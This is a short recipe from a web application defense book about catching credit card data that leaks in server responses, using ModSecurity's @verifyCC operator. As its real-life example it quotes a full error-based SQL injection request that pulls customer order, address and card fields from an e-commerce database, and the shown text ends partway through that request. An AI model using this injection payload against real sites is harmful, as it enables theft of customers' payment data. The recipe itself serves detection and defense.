Web Application Defender's Cookbook

Recipe 6-10: Detecting Sensitive User Data Leakages

This recipe demonstrates how you can figure out when sensitive user data, such as credit card numbers, is present within outbound response data.

Ingredients

• ModSecurity
  • @verifyCC operator
• OWASP ModSecurity Core Rule Set
  • modsecurity_crs_25_cc_known.conf

Leakage of sensitive user data, such as credit card numbers, is a serious issue. This may occasionally happen by accident, but it is most often the result of SQL Injection attacks that aim to extract customer purchasing data from previous transactions. Let’s look at an example of a real-life SQL Injection attack targeting an e-commerce web site:

GET /cart/loginexecute.asp?LoginEmail='%20or%201=convert(int,(select
%20top%201%20convert(varchar,isnull(convert(varchar,OR_OrderDate),'N
ULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderID),'N
ULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_FirstName),
'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_LastName)
,'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderAdd
ress),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_Ord
erCity),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_O
rderZip),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_
OrderState),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,
OR_OrderCountry),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(var
char,OR_CCardName),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(v
archar,OR_CCardType ...